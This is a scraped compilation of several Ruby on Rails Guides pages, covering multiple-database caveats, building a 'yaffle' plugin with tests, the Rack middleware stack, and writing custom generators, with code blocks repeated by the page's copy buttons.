ActiveRecord::Base.connected_to maintains the ability to switch connections globally.

7 Caveats

7.1 Automatic swapping for horizontal sharding

While Rails now supports an API for connecting to and swapping connections of shards, it does not yet support an automatic swapping strategy. Any shard swapping will need to be done manually in your app via a middleware or around_action.

7.2 Load Balancing Replicas

Rails also doesn't support automatic load balancing of replicas. This is very dependent on your infrastructure. We may implement basic, primitive load balancing in the future, but for an application at scale this should be something your application handles outside of Rails.

7.3 Joining Across Databases

Applications cannot join across databases. Rails 6.1 will support using has_many relationships and creating 2 queries instead of joining, but Rails 6.0 will require you to split the joins into 2 selects manually.

7.4 Schema Cache

If you use a schema cache and multiple databases you'll need to write an initializer that loads the schema cache from your app. This wasn't an issue we could resolve in time for Rails 6.0 but hope to have it in a future version soon.

The Basics of Creating Rails Plugins —...

1 Setup

Currently, Rails plugins are built as gems, gemified plugins. They can be shared across different Rails applications using RubyGems and Bundler if desired.

1.1 Generate a gemified plugin.

Rails ships with a rails plugin new command which creates a skeleton for developing any kind of Rails extension with the ability to run integration tests using a dummy Rails application. Create your plugin with the command:

$ rails plugin new yaffle

rails plugin new yaffle Copiar

See usage and options by asking for help:

$ rails plugin new --help

rails plugin new --help Copiar

2 Testing Your Newly Generated Plugin

You can navigate to the directory that contains the plugin, run the bundle install command and run the one generated test using the bin/test command.

You should see:

1 runs, 1 assertions, 0 failures, 0 errors, 0 skips

1 runs, 1 assertions, 0 failures, 0 errors, 0 skips Copiar

This will tell you that everything got generated properly and you are ready to start adding functionality.

3 Extending Core Classes

This section will explain how to add a method to String that will be available anywhere in your Rails application.

In this example you will add a method to String named to_squawk. To begin, create a new test file with a few assertions:

# yaffle/test/core_ext_test.rb

require "test_helper"

class CoreExtTest < ActiveSupport::TestCase
def test_to_squawk_prepends_the_word_squawk
assert_equal "squawk! Hello World", "Hello World".to_squawk
end
end

# yaffle/test/core_ext_test.rb require "test_helper" class CoreExtTest < ActiveSupport::TestCase def test_to_squawk_prepends_the_word_squawk assert_equal "squawk! Hello World", "Hello World".to_squawk end end Copiar

Run bin/test to run the test. This test should fail because we haven't implemented the to_squawk method:

E

Error:
CoreExtTest#test_to_squawk_prepends_the_word_squawk:
NoMethodError: undefined method `to_squawk' for "Hello World":String

bin/test /path/to/yaffle/test/core_ext_test.rb:4

.

Finished in 0.003358s, 595.6483 runs/s, 297.8242 assertions/s.

2 runs, 1 assertions, 0 failures, 1 errors, 0 skips

E Error: CoreExtTest#test_to_squawk_prepends_the_word_squawk: NoMethodError: undefined method `to_squawk' for "Hello World":String bin/test /path/to/yaffle/test/core_ext_test.rb:4 . Finished in 0.003358s, 595.6483 runs/s, 297.8242 assertions/s. 2 runs, 1 assertions, 0 failures, 1 errors, 0 skips Copiar

Great - now you are ready to start development.

In lib/yaffle.rb, add require "yaffle/core_ext":

# yaffle/lib/yaffle.rb

require "yaffle/railtie"
require "yaffle/core_ext"

module Yaffle
# Your code goes here...
end

# yaffle/lib/yaffle.rb require "yaffle/railtie" require "yaffle/core_ext" module Yaffle # Your code goes here... end Copiar

Finally, create the core_ext.rb file and add the to_squawk method:

# yaffle/lib/yaffle/core_ext.rb

class String
def to_squawk
"squawk! #{self}".strip
end
end

# yaffle/lib/yaffle/core_ext.rb class String def to_squawk "squawk! #{self}".strip end end Copiar

To test that your method does what it says it does, run the unit tests with bin/test from your plugin directory.

2 runs, 2 assertions, 0 failures, 0 errors, 0 skips

2 runs, 2 assertions, 0 failures, 0 errors, 0 skips Copiar

To see this in action, change to the test/dummy directory, start bin/rails console, and commence squawking:

irb> "Hello World".to_squawk
=> "squawk! Hello World"

"Hello World".to_squawk Copiar

4 Add an "acts_as" Method to Active Record

A common pattern in plugins is to add a method called acts_as_something to models. In this case, you want to write a method called acts_as_yaffle that adds a squawk method to your Active Record models.

To begin, set up your files so that you have:

# yaffle/test/acts_as_yaffle_test.rb

require "test_helper"

class ActsAsYaffleTest < ActiveSupport::TestCase
end

# yaffle/test/acts_as_yaffle_test.rb require "test_helper" class ActsAsYaffleTest < ActiveSupport::TestCase end Copiar

# yaffle/lib/yaffle.rb

require "yaffle/railtie"
require "yaffle/core_ext"
require "yaffle/acts_as_yaffle"

module Yaffle
# Your code goes here...
end

# yaffle/lib/yaffle.rb require "yaffle/railtie" require "yaffle/core_ext" require "yaffle/acts_as_yaffle" module Yaffle # Your code goes here... end Copiar

# yaffle/lib/yaffle/acts_as_yaffle.rb

module Yaffle
module ActsAsYaffle
end
end

# yaffle/lib/yaffle/acts_as_yaffle.rb module Yaffle module ActsAsYaffle end end Copiar

4.1 Add a Class Method

This plugin will expect that you've added a method to your model named last_squawk. However, the plugin users might have already defined a method on their model named last_squawk that they use for something else. This plugin will allow the name to be changed by adding a class method called yaffle_text_field.

To start out, write a failing test that shows the behavior you'd like:

# yaffle/test/acts_as_yaffle_test.rb

require "test_helper"

class ActsAsYaffleTest < ActiveSupport::TestCase
def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
assert_equal "last_squawk", Hickwall.yaffle_text_field
end

def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
assert_equal "last_tweet", Wickwall.yaffle_text_field
end
end

# yaffle/test/acts_as_yaffle_test.rb require "test_helper" class ActsAsYaffleTest < ActiveSupport::TestCase def test_a_hickwalls_yaffle_text_field_should_be_last_squawk assert_equal "last_squawk", Hickwall.yaffle_text_field end def test_a_wickwalls_yaffle_text_field_should_be_last_tweet assert_equal "last_tweet", Wickwall.yaffle_text_field end end Copiar

When you run bin/test, you should see the following:

# Running:

..E

Error:
ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet:
NameError: uninitialized constant ActsAsYaffleTest::Wickwall

bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8

E

Error:
ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk:
NameError: uninitialized constant ActsAsYaffleTest::Hickwall

bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4

Finished in 0.004812s, 831.2949 runs/s, 415.6475 assertions/s.

4 runs, 2 assertions, 0 failures, 2 errors, 0 skips

# Running: ..E Error: ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet: NameError: uninitialized constant ActsAsYaffleTest::Wickwall bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8 E Error: ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk: NameError: uninitialized constant ActsAsYaffleTest::Hickwall bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4 Finished in 0.004812s, 831.2949 runs/s, 415.6475 assertions/s. 4 runs, 2 assertions, 0 failures, 2 errors, 0 skips Copiar

This tells us that we don't have the necessary models (Hickwall and Wickwall) that we are trying to test. We can easily generate these models in our "dummy" Rails application by running the following commands from the test/dummy directory:

$ cd test/dummy
$ bin/rails generate model Hickwall last_squawk:string
$ bin/rails generate model Wickwall last_squawk:string last_tweet:string

cd test/dummy bin/rails generate model Hickwall last_squawk:string bin/rails generate model Wickwall last_squawk:string last_tweet:string Copiar

Now you can create the necessary database tables in your testing database by navigating to your dummy app and migrating the database. First, run:

$ cd test/dummy
$ bin/rails db:migrate

cd test/dummy bin/rails db:migrate Copiar

While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act like yaffles.

# test/dummy/app/models/hickwall.rb

class Hickwall < ApplicationRecord
acts_as_yaffle
end

# test/dummy/app/models/hickwall.rb class Hickwall < ApplicationRecord acts_as_yaffle end Copiar

# test/dummy/app/models/wickwall.rb

class Wickwall < ApplicationRecord
acts_as_yaffle yaffle_text_field: :last_tweet
end

# test/dummy/app/models/wickwall.rb class Wickwall < ApplicationRecord acts_as_yaffle yaffle_text_field: :last_tweet end Copiar

We will also add code to define the acts_as_yaffle method.

# yaffle/lib/yaffle/acts_as_yaffle.rb

module Yaffle
module ActsAsYaffle
extend ActiveSupport::Concern

class_methods do
def acts_as_yaffle(options = {})
end
end
end
end

# yaffle/lib/yaffle/acts_as_yaffle.rb module Yaffle module ActsAsYaffle extend ActiveSupport::Concern class_methods do def acts_as_yaffle(options = {}) end end end end Copiar

# test/dummy/app/models/application_record.rb

class ApplicationRecord < ActiveRecord::Base
include Yaffle::ActsAsYaffle

self.abstract_class = true
end

# test/dummy/app/models/application_record.rb class ApplicationRecord < ActiveRecord::Base include Yaffle::ActsAsYaffle self.abstract_class = true end Copiar

You can then return to the root directory (cd ../..) of your plugin and rerun the tests using bin/test.

# Running:

.E

Error:
ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk:
NoMethodError: undefined method `yaffle_text_field' for #<Class:0x0055974ebbe9d8>

bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4

E

Error:
ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet:
NoMethodError: undefined method `yaffle_text_field' for #<Class:0x0055974eb8cfc8>

bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8

.

Finished in 0.008263s, 484.0999 runs/s, 242.0500 assertions/s.

4 runs, 2 assertions, 0 failures, 2 errors, 0 skips

# Running: .E Error: ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk: NoMethodError: undefined method `yaffle_text_field' for #<Class:0x0055974ebbe9d8> bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4 E Error: ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet: NoMethodError: undefined method `yaffle_text_field' for #<Class:0x0055974eb8cfc8> bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8 . Finished in 0.008263s, 484.0999 runs/s, 242.0500 assertions/s. 4 runs, 2 assertions, 0 failures, 2 errors, 0 skips Copiar

Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass.

# yaffle/lib/yaffle/acts_as_yaffle.rb

module Yaffle
module ActsAsYaffle
extend ActiveSupport::Concern

class_methods do
def acts_as_yaffle(options = {})
cattr_accessor :yaffle_text_field, default: (options[:yaffle_text_field] || :last_squawk).to_s
end
end
end
end

# yaffle/lib/yaffle/acts_as_yaffle.rb module Yaffle module ActsAsYaffle extend ActiveSupport::Concern class_methods do def acts_as_yaffle(options = {}) cattr_accessor :yaffle_text_field, default: (options[:yaffle_text_field] || :last_squawk).to_s end end end end Copiar

# test/dummy/app/models/application_record.rb

class ApplicationRecord < ActiveRecord::Base
include Yaffle::ActsAsYaffle

self.abstract_class = true
end

# test/dummy/app/models/application_record.rb class ApplicationRecord < ActiveRecord::Base include Yaffle::ActsAsYaffle self.abstract_class = true end Copiar

When you run bin/test, you should see the tests all pass:

4 runs, 4 assertions, 0 failures, 0 errors, 0 skips

4 runs, 4 assertions, 0 failures, 0 errors, 0 skips Copiar

4.2 Add an Instance Method

This plugin will add a method named 'squawk' to any Active Record object that calls acts_as_yaffle. The 'squawk' method will simply set the value of one of the fields in the database.

To start out, write a failing test that shows the behavior you'd like:

# yaffle/test/acts_as_yaffle_test.rb
require "test_helper"

class ActsAsYaffleTest < ActiveSupport::TestCase
def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
assert_equal "last_squawk", Hickwall.yaffle_text_field
end

def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
assert_equal "last_tweet", Wickwall.yaffle_text_field
end

def test_hickwalls_squawk_should_populate_last_squawk
hickwall = Hickwall.new
hickwall.squawk("Hello World")
assert_equal "squawk! Hello World", hickwall.last_squawk
end

def test_wickwalls_squawk_should_populate_last_tweet
wickwall = Wickwall.new
wickwall.squawk("Hello World")
assert_equal "squawk! Hello World", wickwall.last_tweet
end
end

# yaffle/test/acts_as_yaffle_test.rb require "test_helper" class ActsAsYaffleTest < ActiveSupport::TestCase def test_a_hickwalls_yaffle_text_field_should_be_last_squawk assert_equal "last_squawk", Hickwall.yaffle_text_field end def test_a_wickwalls_yaffle_text_field_should_be_last_tweet assert_equal "last_tweet", Wickwall.yaffle_text_field end def test_hickwalls_squawk_should_populate_last_squawk hickwall = Hickwall.new hickwall.squawk("Hello World") assert_equal "squawk! Hello World", hickwall.last_squawk end def test_wickwalls_squawk_should_populate_last_tweet wickwall = Wickwall.new wickwall.squawk("Hello World") assert_equal "squawk! Hello World", wickwall.last_tweet end end Copiar

Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'", then update acts_as_yaffle.rb to look like this:

# yaffle/lib/yaffle/acts_as_yaffle.rb

module Yaffle
module ActsAsYaffle
extend ActiveSupport::Concern

included do
def squawk(string)
write_attribute(self.class.yaffle_text_field, string.to_squawk)
end
end

class_methods do
def acts_as_yaffle(options = {})
cattr_accessor :yaffle_text_field, default: (options[:yaffle_text_field] || :last_squawk).to_s
end
end
end
end

# yaffle/lib/yaffle/acts_as_yaffle.rb module Yaffle module ActsAsYaffle extend ActiveSupport::Concern included do def squawk(string) write_attribute(self.class.yaffle_text_field, string.to_squawk) end end class_methods do def acts_as_yaffle(options = {}) cattr_accessor :yaffle_text_field, default: (options[:yaffle_text_field] || :last_squawk).to_s end end end end Copiar

# test/dummy/app/models/application_record.rb

class ApplicationRecord < ActiveRecord::Base
include Yaffle::ActsAsYaffle

self.abstract_class = true
end

# test/dummy/app/models/application_record.rb class ApplicationRecord < ActiveRecord::Base include Yaffle::ActsAsYaffle self.abstract_class = true end Copiar

Run bin/test one final time and you should see:

6 runs, 6 assertions, 0 failures, 0 errors, 0 skips

6 runs, 6 assertions, 0 failures, 0 errors, 0 skips Copiar

The use of write_attribute to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use:

send("#{self.class.yaffle_text_field}=", string.to_squawk)

send("#{self.class.yaffle_text_field}=", string.to_squawk) Copiar

5 Generators

Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about the creation of generators can be found in the Generators Guide.

6 Publishing Your Gem

Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply commit the code to a Git repository (like GitHub) and add a line to the Gemfile of the application in question:

gem "yaffle", git: "https://github.com/rails/yaffle.git"

gem "yaffle", git: "https://github.com/rails/yaffle.git" Copiar

After running bundle install, your gem functionality will be available to the application.

When the gem is ready to be shared as a formal release, it can be published to RubyGems.

Alternatively, you can benefit from Bundler's Rake tasks. You can see a full list with the following:

$ bundle exec rake -T

$ bundle exec rake build
# Build yaffle-0.1.0.gem into the pkg directory

$ bundle exec rake install
# Build and install yaffle-0.1.0.gem into system gems

$ bundle exec rake release
# Create tag v0.1.0 and build and push yaffle-0.1.0.gem to Rubygems

bundle exec rake -T bundle exec rake build bundle exec rake install bundle exec rake release Copiar

For more information about publishing gems to RubyGems, see: Publishing your gem.

7 RDoc Documentation

Once your plugin is stable and you are ready to deploy, do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.

The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:

- Your name

- How to install

- How to add the functionality to the app (several examples of common use cases)

- Warnings, gotchas or tips that might help users and save them time

Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add #:nodoc: comments to those parts of the code that are not included in the public API.

Once your comments are good to go, navigate to your plugin directory and run:

$ bundle exec rake rdoc

bundle exec rake rdoc Copiar

7.1 References

- Developing a RubyGem using Bundler

- Using .gemspecs as Intended

- Gemspec Reference

Rails on Rack — Ruby on Rails Guides

1 Introduction to Rack

Rack provides a minimal, modular, and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.

Explaining how Rack works is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the Resources section below.

2 Rails on Rack

2.1 Rails Application's Rack Object

Rails.application is the primary Rack application object of a Rails application. Any Rack compliant web server should be using Rails.application object to serve a Rails application.

2.2 bin/rails server

bin/rails server does the basic job of creating a Rack::Server object and starting the web server.

Here's how bin/rails server creates an instance of Rack::Server

Rails::Server.new.tap do |server|
require APP_PATH
Dir.chdir(Rails.application.root)
server.start
end

Rails::Server.new.tap do |server| require APP_PATH Dir.chdir(Rails.application.root) server.start end Copiar

The Rails::Server inherits from Rack::Server and calls the Rack::Server#start method this way:

class Server < ::Rack::Server
def start
# ...
super
end
end

class Server < ::Rack::Server def start # ... super end end Copiar

2.3 rackup

To use rackup instead of Rails' bin/rails server, you can put the following inside config.ru of your Rails application's root directory:

# Rails.root/config.ru
require_relative "config/environment"
run Rails.application

# Rails.root/config.ru require_relative "config/environment" run Rails.application Copiar

And start the server:

$ rackup config.ru

rackup config.ru Copiar

To find out more about different rackup options, you can run:

$ rackup --help

rackup --help Copiar

2.4 Development and auto-reloading

Middlewares are loaded once and are not monitored for changes. You will have to restart the server for changes to be reflected in the running application.

3 Action Dispatcher Middleware Stack

Many of Action Dispatcher's internal components are implemented as Rack middlewares. Rails::Application uses ActionDispatch::MiddlewareStack to combine various internal and external middlewares to form a complete Rails Rack application.

ActionDispatch::MiddlewareStack is Rails' equivalent of Rack::Builder, but is built for better flexibility and more features to meet Rails' requirements.

3.1 Inspecting Middleware Stack

Rails has a handy command for inspecting the middleware stack in use:

$ bin/rails middleware

bin/rails middleware Copiar

For a freshly generated Rails application, this might produce something like:

use Rack::Sendfile
use ActionDispatch::Static
use ActionDispatch::Executor
use ActiveSupport::Cache::Strategy::LocalCache::Middleware
use Rack::Runtime
use Rack::MethodOverride
use ActionDispatch::RequestId
use ActionDispatch::RemoteIp
use Sprockets::Rails::QuietAssets
use Rails::Rack::Logger
use ActionDispatch::ShowExceptions
use WebConsole::Middleware
use ActionDispatch::DebugExceptions
use ActionDispatch::ActionableExceptions
use ActionDispatch::Reloader
use ActionDispatch::Callbacks
use ActiveRecord::Migration::CheckPending
use ActionDispatch::Cookies
use ActionDispatch::Session::CookieStore
use ActionDispatch::Flash
use ActionDispatch::ContentSecurityPolicy::Middleware
use Rack::Head
use Rack::ConditionalGet
use Rack::ETag
use Rack::TempfileReaper
run MyApp::Application.routes

use Rack::Sendfile use ActionDispatch::Static use ActionDispatch::Executor use ActiveSupport::Cache::Strategy::LocalCache::Middleware use Rack::Runtime use Rack::MethodOverride use ActionDispatch::RequestId use ActionDispatch::RemoteIp use Sprockets::Rails::QuietAssets use Rails::Rack::Logger use ActionDispatch::ShowExceptions use WebConsole::Middleware use ActionDispatch::DebugExceptions use ActionDispatch::ActionableExceptions use ActionDispatch::Reloader use ActionDispatch::Callbacks use ActiveRecord::Migration::CheckPending use ActionDispatch::Cookies use ActionDispatch::Session::CookieStore use ActionDispatch::Flash use ActionDispatch::ContentSecurityPolicy::Middleware use Rack::Head use Rack::ConditionalGet use Rack::ETag use Rack::TempfileReaper run MyApp::Application.routes Copiar

The default middlewares shown here (and some others) are each summarized in the Internal Middlewares section, below.

3.2 Configuring Middleware Stack

Rails provides a simple configuration interface config.middleware for adding, removing, and modifying the middlewares in the middleware stack via application.rb or the environment specific configuration file environments/<environment>.rb.

3.2.1 Adding a Middleware

You can add a new middleware to the middleware stack using any of the following methods:

- config.middleware.use(new_middleware, args) - Adds the new middleware at the bottom of the middleware stack.

- config.middleware.insert_before(existing_middleware, new_middleware, args) - Adds the new middleware before the specified existing middleware in the middleware stack.

- config.middleware.insert_after(existing_middleware, new_middleware, args) - Adds the new middleware after the specified existing middleware in the middleware stack.

# config/application.rb

# Push Rack::BounceFavicon at the bottom
config.middleware.use Rack::BounceFavicon

# Add Lifo::Cache after ActionDispatch::Executor.
# Pass { page_cache: false } argument to Lifo::Cache.
config.middleware.insert_after ActionDispatch::Executor, Lifo::Cache, page_cache: false

# config/application.rb # Push Rack::BounceFavicon at the bottom config.middleware.use Rack::BounceFavicon # Add Lifo::Cache after ActionDispatch::Executor. # Pass { page_cache: false } argument to Lifo::Cache. config.middleware.insert_after ActionDispatch::Executor, Lifo::Cache, page_cache: false Copiar

3.2.2 Swapping a Middleware

You can swap an existing middleware in the middleware stack using config.middleware.swap.

# config/application.rb

# Replace ActionDispatch::ShowExceptions with Lifo::ShowExceptions
config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions

# config/application.rb # Replace ActionDispatch::ShowExceptions with Lifo::ShowExceptions config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions Copiar

3.2.3 Deleting a Middleware

Add the following lines to your application configuration:

# config/application.rb
config.middleware.delete Rack::Runtime

# config/application.rb config.middleware.delete Rack::Runtime Copiar

And now if you inspect the middleware stack, you'll find that Rack::Runtime is not a part of it.

$ bin/rails middleware
(in /Users/lifo/Rails/blog)
use ActionDispatch::Static
use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8>
...
run Rails.application.routes

bin/rails middleware Copiar

If you want to remove session related middleware, do the following:

# config/application.rb
config.middleware.delete ActionDispatch::Cookies
config.middleware.delete ActionDispatch::Session::CookieStore
config.middleware.delete ActionDispatch::Flash

# config/application.rb config.middleware.delete ActionDispatch::Cookies config.middleware.delete ActionDispatch::Session::CookieStore config.middleware.delete ActionDispatch::Flash Copiar

And to remove browser related middleware,

# config/application.rb
config.middleware.delete Rack::MethodOverride

# config/application.rb config.middleware.delete Rack::MethodOverride Copiar

3.3 Internal Middleware Stack

Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them:

Rack::Sendfile

- Sets server specific X-Sendfile header. Configure this via config.action_dispatch.x_sendfile_header option.

ActionDispatch::Static

- Used to serve static files from the public directory. Disabled if config.public_file_server.enabled is false.

Rack::Lock

- Sets env["rack.multithread"] flag to false and wraps the application within a Mutex.

ActionDispatch::Executor

- Used for thread safe code reloading during development.

ActiveSupport::Cache::Strategy::LocalCache::Middleware

- Used for memory caching. This cache is not thread safe.

Rack::Runtime

- Sets an X-Runtime header, containing the time (in seconds) taken to execute the request.

Rack::MethodOverride

- Allows the method to be overridden if params[:_method] is set. This is the middleware which supports the PUT and DELETE HTTP method types.

ActionDispatch::RequestId

- Makes a unique X-Request-Id header available to the response and enables the ActionDispatch::Request#request_id method.

ActionDispatch::RemoteIp

- Checks for IP spoofing attacks.

Sprockets::Rails::QuietAssets

- Suppresses logger output for asset requests.

Rails::Rack::Logger

- Notifies the logs that the request has begun. After the request is complete, flushes all the logs.

ActionDispatch::ShowExceptions

- Rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user.

ActionDispatch::DebugExceptions

- Responsible for logging exceptions and showing a debugging page in case the request is local.

ActionDispatch::ActionableExceptions

- Provides a way to dispatch actions from Rails' error pages.

ActionDispatch::Reloader

- Provides prepare and cleanup callbacks, intended to assist with code reloading during development.

ActionDispatch::Callbacks

- Provides callbacks to be executed before and after dispatching the request.

ActiveRecord::Migration::CheckPending

- Checks pending migrations and raises ActiveRecord::PendingMigrationError if any migrations are pending.

ActionDispatch::Cookies

- Sets cookies for the request.

ActionDispatch::Session::CookieStore

- Responsible for storing the session in cookies.

ActionDispatch::Flash

- Sets up the flash keys. Only available if config.action_controller.session_store is set to a value.

ActionDispatch::ContentSecurityPolicy::Middleware

- Provides a DSL to configure a Content-Security-Policy header.

Rack::Head

- Converts HEAD requests to GET requests and serves them as so.

Rack::ConditionalGet

- Adds support for "Conditional GET" so that server responds with nothing if the page wasn't changed.

Rack::ETag

- Adds ETag header on all String bodies. ETags are used to validate cache.

Rack::TempfileReaper

- Cleans up tempfiles used to buffer multipart requests.

It's possible to use any of the above middlewares in your custom Rack stack.

4 Resources

4.1 Learning Rack

- Official Rack Website

- Introducing Rack

4.2 Understanding Middlewares

- Railscast on Rack Middlewares

Criando e Personalizando Geradores...

1 First Contact

When you create an application using the rails command, you are in fact using a Rails generator. After that, you can get a list of all available generators by just invoking bin/rails generate:

$ rails new myapp
$ cd myapp
$ bin/rails generate

rails new myapp cd myapp bin/rails generate Copiar

To create a rails application we use the rails global command, the rails gem installed via gem install rails. When inside the directory of your application, we use the command bin/rails which uses the bundled rails inside this application.

You will get a list of all generators that come with Rails. If you need a detailed description of the helper generator, for example, you can simply do:

$ bin/rails generate helper --help

bin/rails generate helper --help Copiar

2 Creating Your First Generator

Since Rails 3.0, generators are built on top of Thor. Thor provides powerful options for parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named initializer.rb inside config/initializers.

The first step is to create a file at lib/generators/initializer_generator.rb with the following content:

class InitializerGenerator < Rails::Generators::Base
def create_initializer_file
create_file "config/initializers/initializer.rb", "# Add initialization content here"
end
end

class InitializerGenerator < Rails::Generators::Base def create_initializer_file create_file "config/initializers/initializer.rb", "# Add initialization content here" end end Copiar

create_file is a method provided by Thor::Actions. Documentation for create_file and other Thor methods can be found in Thor's documentation

Our new generator is quite simple: it inherits from Rails::Generators::Base and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Finally, we invoke the create_file method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API.

To invoke our new generator, we just need to do:

$ bin/rails generate initializer

bin/rails generate initializer Copiar

Before we go on, let's see our brand new generator description:

$ bin/rails generate initializer --help

bin/rails generate initializer --help Copiar

Rails is usually able to generate good descriptions if a generator is namespaced, as ActiveRecord::Generators::ModelGenerator, but not in this particular case. We can solve this problem in two ways. The first one is calling desc inside our generator:

class InitializerGenerator < Rails::Generators::Base
desc "This generator creates an initializer file at config/initializers"
def create_initializer_file
create_file "config/initializers/initializer.rb", "# Add initialization content here"
end
end

class InitializerGenerator < Rails::Generators::Base desc "This generator creates an initializer file at config/initializers" def create_initializer_file create_file "config/initializers/initializer.rb", "# Add initialization content here" end end Copiar

Now we can see the new description by invoking --help on the new generator. The second way to add a description is by creating a file named USAGE in the same directory as our generator. We are going to do that in the next step.

3 Creating Generators with Generators

Generators themselves have a generator:

$ bin/rails generate generator initializer
create  lib/generators/initializer
create  lib/generators/initializer/initializer_generator.rb
create  lib/generators/initializer/USAGE
create  lib/generators/initializer/templates
invoke  test_unit
create    test/lib/generators/initializer_generator_test.rb

bin/rails generate generator initializer Copiar

This is the generator just created:

class InitializerGenerator < Rails::Generators::NamedBase
source_root File.expand_path('templates', __dir__)
end

class InitializerGenerator < Rails::Generators::NamedBase source_root File.expand_path('templates', __dir__) end Copiar

First, notice that we are inheriting from Rails::Generators::NamedBase instead of Rails::Generators::Base. This means that our generator expects at least one argument, which will be the name of the initializer, and will be available in our code in the variable name.

We can see that by invoking the description of this new generator (don't forget to delete the old generator file):

$ bin/rails generate initializer --help
Usage:
bin/rails generate initializer NAME [options]

bin/rails generate initializer --help Copiar

We can also see that our new generator has a class method called source_root. This method points to where our generator templates will be placed, if any, and by default it points to the created directory lib/generators/initializer/templates.

In order to understand what a generator template means, let's create the file lib/generators/initializer/templates/initializer.rb with the following content:

# Add initialization content here

# Add initialization content here Copiar

And now let's change the generator to copy this template when invoked:

class InitializerGenerator < Rails::Generators::NamedBase
source_root File.expand_path('templates', __dir__)

def copy_initializer_file
copy_file "initializer.rb", "config/initializers/#{file_name}.rb"
end
end

class InitializerGenerator < Rails::Generators::NamedBase source_root File.expand_path('templates', __dir__) def copy_initializer_file copy_file "initializer.rb", "config/initializers/#{file_name}.rb" end end Copiar

And let's execute our generator:

$ bin/rails generate initializer core_extensions

bin/rails generate initializer core_extensions Copiar

We can see that now an initializer named core_extensions was created at config/initializers/core_extensions.rb with the contents of our template. That means that copy_file copied a file in our source root to the destination path we gave. The method file_name is automatically created when we inherit from Rails::Generators::NamedBase.

The methods that are available for generators are covered in the final section of this guide.

4 Generators Lookup

When you run bin/rails generate initializer core_extensions Rails requires these files in turn until one is found:

rails/generators/initializer/initializer_generator.rb
generators/initializer/initializer_generator.rb
rails/generators/initializer_generator.rb
generators/initializer_generator.rb

rails/generators/initializer/initializer_generator.rb generators/initializer/initializer_generator.rb rails/generators/initializer_generator.rb generators/initializer_generator.rb Copiar

If none is found you get an error message.

The examples above put files under the application's lib because said directory belongs to $LOAD_PATH.

5 Customizing Your Workflow

Rails own generators are flexible enough to let you customize scaffolding. They can be configured in config/application.rb, these are some defaults:

config.generators do |g|
g.orm             :active_record
g.template_engine :erb
g.test_framework  :test_unit, fixture: true
end

config.generators do |g| g.orm :active_record g.template_engine :erb g.test_framework :test_unit, fixture: true end Copiar

Before we customize our workflow, let's first see what our scaffold looks like:

$ bin/rails generate scaffold User name:string
invoke  active_record
create    db/migrate/20130924151154_create_users.rb
create    app/models/user.rb
invoke    test_unit
create      test/models/user_test.rb
create      test/fixtures/users.yml
invoke  resource_route
route    resources :users
invoke  scaffold_controller
create    app/controllers/users_controller.rb
invoke    erb
create      app/views/users
create      app/views/users/index.html.erb
create      app/views/users/edit.html.erb
create      app/views/users/show.html.erb
create      app/views/users/new.html.erb
create      app/views/users/_form.html.erb
invoke    test_unit
create      test/controllers/users_controller_test.rb
invoke    helper
create      app/helpers/users_helper.rb
invoke    jbuilder
create      app/views/users/index.json.jbuilder
create      app/views/users/show.json.jbuilder
invoke  test_unit
create    test/application_system_test_case.rb
create    test/system/users_test.rb
invoke  assets
invoke    scss
create      app/assets/stylesheets/users.scss
invoke  scss
create    app/assets/stylesheets/scaffolds.scss

bin/rails generate scaffold User name:string Copiar

Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication.

If we want to avoid generating the default app/assets/stylesheets/scaffolds.scss file when scaffolding a new resource we can disable scaffold_stylesheet:

config.generators do |g|
g.scaffold_stylesheet false
end

config.generators do |g| g.scaffold_stylesheet false end Copiar

The next customization on the workflow will be to stop generating stylesheet and test fixture files for scaffolds altogether. We can achieve that by changing our configuration to the following:

config.generators do |g|
g.orm             :active_record
g.template_engine :erb
g.test_framework  :test_unit, fixture: false
g.stylesheets     false
end

